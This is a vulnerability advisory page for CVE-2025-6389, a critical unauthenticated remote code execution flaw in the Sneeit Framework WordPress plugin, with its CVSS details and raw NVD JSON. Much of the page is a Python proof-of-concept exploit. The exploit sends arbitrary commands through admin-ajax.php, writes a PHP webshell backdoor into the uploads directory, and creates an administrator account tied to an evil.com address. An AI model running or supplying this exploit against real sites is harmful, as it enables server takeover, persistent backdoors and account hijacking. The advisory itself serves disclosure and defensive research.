Security Vulnerability Report
中文
CVE-2025-6389 CVSS 9.8 CRITICAL

CVE-2025-6389

Published: 2025-11-25 03:15:45
Last Modified: 2026-04-15 00:35:42

Description

The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.3 via the sneeit_articles_pagination_callback() function. This is due to the function accepting user input and then passing that through call_user_func(). This makes it possible for unauthenticated attackers to execute code on the server which can be leveraged to inject backdoors or, for example, create new administrative user accounts.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Sneeit Framework插件所有版本 <= 8.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-6389 PoC - Sneeit Framework RCE # Target: WordPress site with Sneeit Framework plugin < 8.4 def exploit_rce(target_url, command): """ Exploit the RCE vulnerability in sneeit_articles_pagination_callback() This function uses call_user_func() with user-controlled input """ endpoint = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' # The vulnerable parameter that gets passed to call_user_func() # Attackers can specify any PHP function to execute payload = { 'action': 'sneeit_articles_pagination', 'pagination': command # User input passed to call_user_func() } try: response = requests.post(endpoint, data=payload, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def create_backdoor(target_url): """ Create a backdoor by writing a PHP webshell to the server """ webshell = '<?php if(isset($_REQUEST[\'cmd\'])){ system($_REQUEST[\'cmd\']); } ?>' # Encode the command to write the webshell cmd = f'echo "{webshell}" > ../wp-content/uploads/backdoor.php' exploit_rce(target_url, f'system:{cmd}') print("[*] Backdoor creation attempted") def create_admin(target_url, username, password): """ Create a new admin user via command execution """ cmd = f'wp user create {username} {username}@evil.com --role=administrator --user_pass={password} --allow-root' exploit_rce(target_url, f'system:{cmd}') print(f"[*] Admin creation attempted: {username}/{password}") if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://example.com 'id'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] exploit_rce(target, f'system:{command}')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-6389", "sourceIdentifier": "[email protected]", "published": "2025-11-25T03:15:44.990", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.3 via the sneeit_articles_pagination_callback() function. This is due to the function accepting user input and then passing that through call_user_func(). This makes it possible for unauthenticated attackers to execute code on the server which can be leveraged to inject backdoors or, for example, create new administrative user accounts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://themeforest.net/item/flat-news-responsive-magazine-wordpress-theme/6000513#item-description__release-notes", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b5ed8a39-50b0-4acf-9054-ba389c49f345?source=cve", "source": "[email protected]"}]}}